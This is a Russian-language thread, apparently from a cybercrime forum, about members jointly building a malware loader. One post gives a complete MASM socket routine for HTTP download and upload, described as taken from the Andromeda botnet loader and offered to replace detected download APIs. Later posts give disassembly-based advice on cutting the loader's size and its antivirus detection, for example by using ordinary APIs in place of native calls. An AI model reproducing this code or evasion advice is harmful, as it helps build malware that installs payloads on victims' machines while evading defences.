• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Предложили проект коллективный опен-соурс лоадер, и что с того, дело дальше чем UrlDownloadToFileA vs ShellExecute (CreateProcess) ну или InternetOpenA не идет.
Почему? Да потому что более менее приватные техники которые еще хоть как то работают, и хоть самые тупые FW, но обходят, держутся в глубочайшем секрете. Даже создание через COM (Background Intelligent Transfer Service Proxy, кто знает, поймет) вряд ли выложат.

Имхо Я полагаю что совместный опен-соурс проект дамаги, при условии что тема будет интересная и проект будет полезным, даст на порядок больше результата и вызовет больше интереса со стороны мемберов, кто действительно способен на разработку серьезного проекта. Пускай это будет не малваря, пускай это будет легитимное приложение. При нормальном раскладе можно заюзать svn и будет на порядок удобнее.

Что это именно будет можно пообсуждать в отдельном топе.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
Предложили проект коллективный опен-соурс лоадер, и что с того, дело дальше чем UrlDownloadToFileA vs ShellExecute (CreateProcess) ну или InternetOpenA не идет.
Почему? Да потому что более менее приватные техники
Ну е-мае, опять 25.
Почему-то каждый гуру считает для себя честью и обязанностью зайти в тему и написать "ну что же вы так долго, я бы это спьяну накодил за 5 минут!!!". Не сомневаюсь, может вы бы и накодили. Но я - не вы. У меня нет опыта, у меня нет знаний, для меня ваши 5 минут оборачиваются 5 неделями. Я тупой нуб, который не может скопировать строку на Асме. Поэтому я пишу медленно, и не надо тут каждую неделю критиковать в теме, что нет прогресса. Ну надоело, честное слово. :bang:
Про лоадер я не забыл, и вероятно, буду его писать, как будет время и изучу матчасть. Вроде не за деньги пишу, по срокам ничего не обещал никому, так откуда претензии? :fool:

Ar3s
Я думаю, пока нет смысла. Не тот объем кода. Разве что для админки, и то хз.
 
так поцантре. Quake3, ты думаешь дальше скилл качать или стоит мне включится? готов помочь с масмом. беззвоззмезздно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ваху :) я думаю помочь интересными советами можешь , а писать не надо)) мы знаем ты можешь , но тут проект больше что бы научится делать , а не какой то продукт на продажу )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
accwranadm
Я понемногу изучаю, но пока еще ничего писать не хочу. А то будет как в прошлый раз, с этими строками. Но чуть позже попробую продолжить, все таки 2 года потратил на этот Асм, жаль бросать с одной стороны..

Если не сложно - было бы неплохо накодить процедуру на сокетах, которая принимает строку с урл, и скачивает файл по этой ссылке. Т.к. UrlDownloadToFile палится всем, чем можно, сделать такой себе аналог (который потом можно будет совершенствовать).
 
ок, я просто семпл покажу, это кусочек от андромеды
pURL - оно понятно, это линк
pData - используется только при POST запросе, это данные передаваемые в запросе, иначе NULL
cbData - длина их самых
needAnswer - boolean, нужен ответ сервера или нет
если ответ не нужен возвращается TRUE в случае успеха, иначе возвращается указатель на кусок памяти с ответом, который должен быть освобожден с помощью HeapFree, либо FALSE если хоть чет не так пошло.
Код:
HttpReq proc uses ebx esi edi pURL:dword,pData:dword,cbData:dword,needAnswer:dword
local sock:dword, saddr:sockaddr_in
local pBuf:dword
local pHost:dword
local pScript:dword
local result:dword
	
	mov result,FALSE

	cmp pURL,0
	jz @ret
	
	invoke lstrlen,pURL
	test eax,eax
	jz @ret
	inc eax
	mov pHost,func(HeapAlloc,pHeap,0,eax)
	test eax,eax
	jz @ret
	
	mov esi,pURL
	cmp dword ptr [esi+3],'//:p'
	jnz @f
	lea esi,[esi+7]
@@:	

	invoke lstrcpy,pHost,esi
	mov esi,pHost
	mov pScript,chr$(0)
@@:
	lodsb
	test al,al
	jz @f
	cmp al,'/'
	jnz @b
	mov pScript,esi
	mov byte ptr [esi-1],0
@@:
	
	mov saddr.sin_family,AF_INET
	mov ax,80
	rol ax,8
	mov saddr.sin_port,ax
; int 3	
	invoke IsIP,pHost
	test eax,eax
	jz @resolve
	mov saddr.sin_addr,eax
	jmp @connect
@resolve:
	invoke ResolveHost_google,pHost
	test eax,eax
	jz @f
	mov saddr.sin_addr,eax
	jmp @connect
@@:	
	invoke ResolveHost_standart,pHost
	test eax,eax
	jz @exit1
	mov saddr.sin_addr,eax	
@connect:
	mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
	cmp eax,INVALID_SOCKET
	jz @exit1
	invoke connect,sock,addr saddr,sizeof sockaddr_in
	test eax,eax
	jnz @exit2
	
	mov pBuf,func(HeapAlloc,pHeap,HEAP_ZERO_MEMORY,401h)
	test eax,eax
	jz @exit2
	
	cmp pData,0
	jz @is_get
	invoke wsprintf,pBuf,offset szPOST,pScript,pHost,cbData
	jmp @send
@is_get:
	invoke wsprintf,pBuf,offset szGET,pScript,pHost
@send:
	invoke send,sock,pBuf,eax,0
	
	cmp pData,0
	jz @f
	invoke send,sock,pData,cbData,0
@@:	
	invoke recv,sock,pBuf,400h,MSG_PEEK
	test eax,eax
	jz @exit3
	cmp eax,SOCKET_ERROR
	jz @exit3
	
	mov esi,pBuf
	cmp dword ptr [esi+08h],'002 '
	jnz @exit3
	
	cmp needAnswer,TRUE
	jz @f
	mov result,TRUE
	jmp @exit3
@@:
	lodsb
	cmp al,0Ah
	jz @check_0d0a
	test al,al
	jz @exit3 
	jmp @b
@check_0d0a:
	cmp word ptr [esi],0A0Dh
	jz @recv_header
	add esi,2
	jmp @b
	
@recv_header:
	sub esi,pBuf
	add esi,2
	invoke recv,sock,pBuf,esi,0
	test eax,eax
	jz @exit3	
	cmp eax,SOCKET_ERROR
	jz @exit3
	
	mov result,func(HeapAlloc,pHeap,HEAP_ZERO_MEMORY,4)
	test eax,eax
	jz @exit3
@recv:	
	invoke recv,sock,pBuf,400h,0
	test eax,eax
	jz @exit3	
	cmp eax,SOCKET_ERROR
	jz @error_recv

	mov esi,eax
	invoke HeapSize,pHeap,0,result
	mov edi,eax
	lea eax,[eax+esi]
	invoke HeapReAlloc,pHeap,0,result,eax
	test eax,eax
	jz @error_recv
	mov result,eax
	add dword ptr [eax],esi
	mov ecx,esi
	mov esi,pBuf
	add edi,eax
	cld
	rep movsb
	jmp @recv
@error_recv:
	invoke HeapFree,pHeap,0,result
	mov result,FALSE

@exit3:
	invoke HeapFree,pHeap,0,pBuf
	invoke shutdown,sock,SD_BOTH
@exit2:
	invoke closesocket,sock
@exit1:
	invoke HeapFree,pHeap,0,pHost
@ret:
	mov eax,result
	ret
HttpReq endp
 
Ну е-мае, опять 25.
Почему-то каждый гуру считает для себя честью и обязанностью зайти в тему и написать "ну что же вы так долго, я бы это спьяну накодил за 5 минут!!!". Не сомневаюсь, может вы бы и накодили. Но я - не вы. У меня нет опыта, у меня нет знаний, для меня ваши 5 минут оборачиваются 5 неделями. Я тупой нуб, который не может скопировать строку на Асме. Поэтому я пишу медленно, и не надо тут каждую неделю критиковать в теме, что нет прогресса. Ну надоело, честное слово.
Про лоадер я не забыл, и вероятно, буду его писать, как будет время и изучу матчасть. Вроде не за деньги пишу, по срокам ничего не обещал никому, так откуда претензии?

Quake3 я не считаю себя великим гуру и огромное время трачу на самообучение и самосовершенствование касательно темы. Далее, я никоем образом не хотел задеть конкретно вас или кого-либо еще, не приследую таких целей. Если хотите получить необходимый скилл в написании малвари, начинать следует с изучения системного кодинга и написания легитимных программ. Я имел ввиду что с таким подходом к делу, как сейчас далеко не уйдем. А вообще завел этот разговор, в связи с недавним общением с Ar3s'ом, разговор был о том как увеличить интерес мемберов к повышению активности на форуме, и поэтому я предложил начать публичный девелоп нормальной тулзы или их комплекта для общих целей и нужд.

Если не так что то поняли, уточняйте.

p.s. никого не хотел задеть или обидеть:)
 
demien пишет:
совместный опен-соурс проект дамаги, при условии что тема будет интересная и проект будет полезным, даст на порядок больше результата и вызовет больше интереса со стороны мемберов, кто действительно способен на разработку серьезного проекта.
Да есть такой коллективный и легальный проект! Там уже все годное начали, правд0 самого главного не выложили, но думаю что выложат
При этом есть даже вариант DL vs CL - кто лучше мы или они; проект интересный, требует "заоблачный" скил (реально покажет, кто из ху), имеет без преувеличений мировое значение, а также в коллективной разработке может начинающим повысить уровень знаний (тем, у кого средний уровень знаний кодинга) до профессионального уровня
Требует знаний как прикладного, так и ООП, а так и системного кодинга
Я даже хотел тему по этому поводу здесь создать и даже найти время и поучаствовать в коллективной разработке, но вспоминая про конфу у меня даже желания нет, ни темы создавать, не "статьи" писать...
ЗЫ: интересно догадается кто-нибудь, про что я написал %))))))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
accwranadm, greenzy
Спасибо за примеры кода.

demien
Если хотите получить необходимый скилл в написании малвари, начинать следует с изучения системного кодинга и написания легитимных программ. Я имел ввиду что с таким подходом к делу, как сейчас далеко не уйдем
А каких именно легитимных? Аверы писать я не хочу. Были, впрочем, мысли о создании некоторых белых прог, но там:
1. кроме меня это на 100% никому не нужно будет;
2. я такое сам не потяну, ибо там знаний надо больше, чем в лоадере.

KraZz
Если не секрет - отчего такая нелюбовь к этой самой конфе?
CL - cracklab? А что за проект? Опиши пожалуйста, мб кому-то будет все таки интересно, если это не секрет/приват.
p.s. наверное, речь идет о какой-то тулзе по снятию вмпрота. Или ошибаюсь?
 
А каких именно легитимных? Аверы писать я не хочу. Были, впрочем, мысли о создании некоторых белых прог, но там:
1. кроме меня это на 100% никому не нужно будет;
2. я такое сам не потяну, ибо там знаний надо больше, чем в лоадере.

Теперь когда негатив стих, можно подойти к вопросу со здравым смыслом...
Аверы писать никто и не заставляет, самокатов уже наизобретали, целый вирустотал:)
Ты сам согласен с тем что лоадер это примитив, а теперь подумай какой толк писать малварьный примитив, и получить 0.01 % скилла либо начать девелопить белый код, опыта от которого на порядок больше. имхо вчитывайся и прислушивайся к словам краза, человек тему говорит, и я не конкрето про этот пост!

Да есть такой коллективный и легальный проект! ...
Заинтриговал;)

Я даже хотел тему по этому поводу здесь создать и даже найти время и поучаствовать в коллективной разработке, но вспоминая про конфу у меня даже желания нет, ни темы создавать, не "статьи" писать...
ЗЫ: интересно догадается кто-нибудь, про что я написал %))))))

А вот это печально. как раз об этом мы с Ar3s'ом говорили... Из за чьих-то негативных рассуждений касательно какого-то вопроса пропадает желание писать\тварить\развивать.... Не должно этого быть! иначе все накроется медным тазиком! задумайтесь!!!

Кразз ваш уровень знаний позволяет улучшить ситуацию уровня знаний др. мемберов. Вопрос в другом... нужно ли вам это...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ты сам согласен с тем что лоадер это примитив, а теперь подумай какой толк писать малварьный примитив, и получить 0.01 % скилла либо начать девелопить белый код, опыта от которого на порядок больше.
Ну как примитив. Относительно. Конечно же, лоадер написать проще, чем например какой-то распаковщик, сниффер мейл агента или т.п. Но я думал сделать действительно интересный лоадер - т.е. отойди от заезженных urldownload и shellexecute, добавить то же шифрование, отладить его идеально для разных ОС, учеток и ситуаций, и так далее. Это не так просто, по крайней мере для меня.

Касаемо же белого софта - так какой вариант можно взять? Мне кроме аверов ничего в голову не идет.
 
Вот мне теперь интересно после интриги кразза, что там за гонка в разработке между двумя бордами:)

По поводу аверов. В инете есть несколько проектов опенсорсных более-менее стоящих внимания. Там можно подглядеть систему анализа и установку баллов при совпадении каких-либо условий, и при суммарной сумме которых выдается детект. Некоторые интересные моменты касательно анализа ресурсов (иногда до безумия тупые, вплоть до языка иконки и т.д.) и конечно эмуляцию. Кстати проект о котором я говорю, был полностью на масме ) Сайт к сожалению не помню, но на хдд есть где-то соурс последней версии. Вроде они прекратили разработку. (Еще бы... голый асм наверное с ума свел их:)) Подводя итог всему выше сказанному можно догадаться о том, что матасикл изобретать явно не стОит, но для себя, для самосовершенствования, для развития анализ любых доступных соурсов обязателен!

Что ж, а касательно вопроса я бы курил в сторону управления компьютером с телефона (пускай симб, андроид не суть, и это кстати еще и расширение кругозора и толчок к постижению новых горизонтов). Я не имею ввиду что-то банальное, я не искал, возможно банальные проекты на эту тему уже есть. Я предлагаю нечто действительно псевдоинтеллектуальное, что позволит имея доступ к инету на смарте и на машине, получить полный контроль. Объясню подробнее:
например у вас на машине запилен впн и требуется неотложная манипуляция, вы удаленно грузите браузер, изменяете какие-нибудь действия в стате, кому-нибудь отписываетесь, бурт чего-либо с возможностью сменить словарь, остановить, приостановить, срочно что-либо удаляете с харда, либо наоборот ставите на закачку, вплоть до полного удаления системы, с предварительным вайпом по какому-нибудь не восстановимому алгоритму.
Далее связь должна быть двусторонней, т.е. если машина выполнила какие либо действия, она должна оповестить нас об этом, если соединения не установлено (а оно всегда не будет таковым), отсылаем смс с временным кодом (хэшэм fingerpringа и т.д. и т.п. используем фантазию) с приглашением залогиниться. Это по сути может быть развито до интересного момента.

p.s. отписываемся...
 
demien ,идея интересная,но угнаться за прогрессом будет сложновато (особенно учитывая то,что не все опытны в кодинге),но овчинка стоит выделки... ;)
Кстати,недавно мне один знакомый спрашивал,есть ли решение у меня или хотя бы кодес,который(е) позволяют манипулировать "умным домом". :yinyang:
Я конечно,копался с такой вот шнягой,но некоторые моменты не смог изучить банально потому,что та же технология Bluetooth и исчерпывающая инфа закрыты :fuck:
 
Судя о том, что после написания идеи прошло более 3-ех суток, тема мало кому интересна.
Тут даже дело не в том, что именно идея "не айс", (хотя по фантазировав я напридумывал 100500++ вариантов использования этой темы и желание поднимать такую весчицу стало нарастать).

Что касается "умного дома", тема действительно интересная (читал, видел наработки приборов). Электронщикам собрать датчики (для предотвращения неприятностей с газом, водой и т.д.) и автоматические функциональные переключатели (полезная весч). Кодерам написать асм прогу для комплексного функционирования этих устройств. Далее всем этим будет управлять компьютер, а компьютером управляем мы с телефона...
Едешь домой, чувствешь засыпаешь... Тут бац компу "Хочу чашечку кофэ...", приезжаешь домой а тебя ждет кофе :)
 
шеллкод полезен если лоадер часть продукта, и нужно его иньектить куда-нибудь для сокрытия и обходов, или же если шеллкод выполнен в пикоде для морфинга, для сохранения размера.

В любом другом случае не вижу особой необходимости
 
паук пишет:
Неожиданно не в тему...
Да он-то как раз в тему и написал, намекая на то, что: - "давайте ребята ближе к сабжу"
Здесь обсуждается лоадер, и я лично не вижу взаимосвязи сабжа с "умным домом", тем более что для этого нужно иметь как минимум этот самый дом и... было даже интервью с одним русским, который писал код для умного дома, так вот он писал около года, если мне память не изменяет, 10000 строк кода и добавил, - это была самая сложная задача.. вряд ли кто-то захочет повторить такой вот нах "подвиг"...
Для обсуждения подобных тем, лучше создать отдельную тему - ИМХО
Мне в личку отписалось четыре человека по этой теме лоадера, значит интересуются...
Смысла особого не вижу обсуждать что-то (непонятно что), надо кодить и обсуждать то, что не получается или улучшать код, который уже есть, обсуждать идеи и воплощать их в код, только тогда это будет движение вперед...

паук пишет:
колективного и честного на CL щас только отладчик. Угадал?!
Да, но..
http://exelab.ru/f/index.php?action=vthrea...pic=6899&page=7
http://opendbg.googlecode.com/svn/
Раньше был "приватный" проект...

Просто угадать - этого будет мало, нужно проанализировать хронологию, сделать выводы об их ошибках, которые там были сделаны, сравнить "косвенно" с этой темой и т.д.
Я же говорю: - у любого проекта должны быть (как минимум) "блок-схема" и "руководитель", если уж так не понятно слово менеджер и т.д.
"Коллективный" проект - это когда у каждого есть своя задача, и он ее обязан выполнить, так как другие тоже что-то делают и результат совместных действий зависит от кода, который пишут все вместе, а не только кто-то один
Тут чтобы хоть что-то начало получаться, нужно много rtfm`а написать (по-сути поменять менталитет)
Начинать нужно с более простой задачи, если не получается более сложная (разбивать сложные задачи на более простые, о чем я уже писал "недавно" в одной из "моих статей")
К примеру, со стукача, который выложили где-то там недавно - как раз начало от ДЛ положено (снабдить его функциями сбора инфы о системе и т.д.)
Найти способы генерации траффа для тестов (к примеру, заюзать то, что предложил Гена :) )
Реальные знания приходят только тогда, когда реально кодишь, а не просто тупо читаешь статьи/посты, ведь все мелкие нюансы в статье описать не возможно, поэтому я всегда и стараюсь писать так, чтобы было понятно только тогда, когда что-то реально сделаешь (ну и естественно чтобы не возможно было перевести на буржуйский %))) причем делаю это намерено)
Здесь пока похоже на то, что все сюда заходят что-то почитать (вспомнить "говностатьи зомбика"), о чем-то попиздеть, скопипастить говнокод...
Те, кто думает иначе - ну значит, тешут себя наивными надеждами - ИМХО

demien пишет:
Вот мне теперь интересно после интриги кразза, что там за гонка в разработке между двумя бордами
Да ниче интересного, вряд ли здесь те, кто считает себя "элитой" смогут потягацца с такими мемберами как ntldr, OKOB, Smon, Archer и т.д.
У них практический опыт кодинга очень большой, и проекты с громкими именами.. а что у нас?..
И не надо отрицать очевидного...
Да и вообще не надо выделять кого-то больше из "толпы"...

greenzy пишет:
можно существенно уменьшить размер лоадера, если сделать его в шелл код стиле
Ну, это будет, как бы уже баян, такое уже было сделано в длоадере - это как раз и есть его "фишка" + там заюзаны "обычные" API, что существенно уменьшает код лоадера, по сравнению с тем же дерьмом нативным, что пиарит инде, которого уже "везде" зафакали
А я даже больше скажу - это и есть, на мой взгляд, большой плюс длоадера по сравнению с той же андромедой, которую уже обжевали на аверских форумах и выложили целые коллекции сэмплов... (это уже свисток какбЭ и уже нужно прямо сейчас начинать делать новую версию, по большей части отличающуюся кодом, а не словами, от старой - ИМХО)
Для примера, возьмем и сравним код:
Нативный код динамического выделения памяти
Код:
00401492 33 C9                 xor     ecx, ecx
00401494 89 4D B0              mov     [ebp-50h], ecx
00401497 C7 45 AC 00 10 00 00  mov     dword ptr [ebp-54h], 1000h
0040149E 6A 04                 push    4
004014A0 68 00 10 00 00        push    1000h
004014A5 8D 45 AC              lea     eax, [ebp-54h]
004014A8 50                    push    eax
004014A9 51                    push    ecx
004014AA 8D 45 B0              lea     eax, [ebp-50h]
004014AD 50                    push    eax
004014AE 6A FF                 push    0FFFFFFFFh
004014B0 FF 55 F0              call    dword ptr [ebp-10h];ntdll.ZwAllocateVirtualMemory
А теперь как выделяется память при помощи обычных API, которые юзается в стандартных прогах и естественно может вызвать меньше палева, что весьма кстати для паблик лоадера
А если еще вспомнить засранчика с громким именем, где аверы не могли понять, на чем он написан и создавали конференции для обсуждений %)))
Код:
10003E17 68 00100000  push 1000h
10003E1C E8 41050000  call <JMP.&msvcrt.operator new>
Если сравнить размер кода (33 байта vs 10 байт), который выполняет одну и ту же задачу, то размер нативного кода, явно больше чем код с применением обычного API
Ну, или для примера, еще немного кодеса:
Код:
10001650 C7 45 F0 80 3C 36 FE  mov     dword ptr [ebp-10h], 0FE363C80h
10001657 C7 45 F4 FF FF FF FF  mov     dword ptr [ebp-0Ch], 0FFFFFFFFh
1000165E 8D 45 F0              lea     eax, [ebp-10h]
10001661 50                    push    eax
10001662 6A 00                 push    0
10001664 E8 2B 1D 00 00        call    NtDelayExecution
Код:
10001B17 68 80C3C901    PUSH 1C9C380
10001B1C FF15 68500010  CALL DWORD PTR DS:[<&KERNEL32.Sleep>]
25 байт vs 11 байт
Когда в коде юзается незначительное количество нативных API - в этом в принципе нет ничего страшного, но когда весь код написан на нативе - это может значительно увеличить размер засранчика и это только один из минусов
Ну и соответственно в этом нативном говнокоде нет ничего элитного, как на первый взгляд может показацца тем, кто поклоняецца непохекам с васма
Нативные API нужно юзать там, где это действительно нужно...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх